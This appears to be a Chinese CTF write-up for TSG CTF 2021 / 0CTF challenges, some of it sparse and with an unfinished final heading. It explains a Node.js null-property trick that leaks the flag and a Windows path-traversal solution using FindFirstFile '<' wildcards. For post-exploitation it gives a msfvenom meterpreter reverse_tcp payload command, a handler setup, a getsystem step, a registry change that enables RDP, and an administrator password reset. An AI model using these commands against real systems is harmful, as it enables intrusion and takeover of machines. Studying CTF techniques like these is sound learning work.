TSG2021+0ctf
前言
战队让加的比赛讨论群一个没少加,题目也是一个都不会,就把一些感觉现阶段可以学懂的题目复现一下试试看
Welcome to TSG CTF!
签到题,签了很多人
const {promises: fs} = require('fs'); |
关键的代码在
typeof req.body === 'object' && req.body[flag] === true |
意思是说,post传入的数据的typeof为object,并且这个数据的[flag]要为true,这里就需要理解一下什么是[flag],比如说flag是abc那么他就是[abc],比如说我传入一个tlif3,那么我就要有一个tlif3[abc]=true,很显然,这是不可能达成的,因为我们根本不知道flag的值为多少,那么这里就有一个小trick
首先typeof 为object的有数组对象,还有一个null,而如果针对null进行寻址的话,就会报错,此时报错就会将flag的值给带出
Win-Win
刚刚去看了一下,发现没环境了—于是就把题解说的看一下吧
windows找后台目录
Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
利用方法:
我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。 |
可以发现在windows系统下是可以这样进行读取文件的操作,那么这就意味着,我们只需要对首字母进行爆破即可
参考:
https://blog.csdn.net/bylfsj/article/details/102771173
然后寻找配置文件之类的进行读取,
最后再包含xampp的 apache_start.bat
文件成功:?win=..\..\t<\apache_start.bat
。
读取php.ini文件:?win=..\..\t<\php\phpi.ini
,发现了路径:C:\THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2\
然后session文件上传,但是题目本来说不可以的,所以应该就是非预期解了
然后本地生成msf马
msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=5555 -f exe -o shell.exe |
并在服务器进行监听
Use exploit/multi/handler |
使用getsystem进行提权登录界面,因为要截图
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
screenshot
没有权限。打开3389端口,修改administrator密码:
即可在桌面上看到flag
RevengePHP
TSG2021+0ctf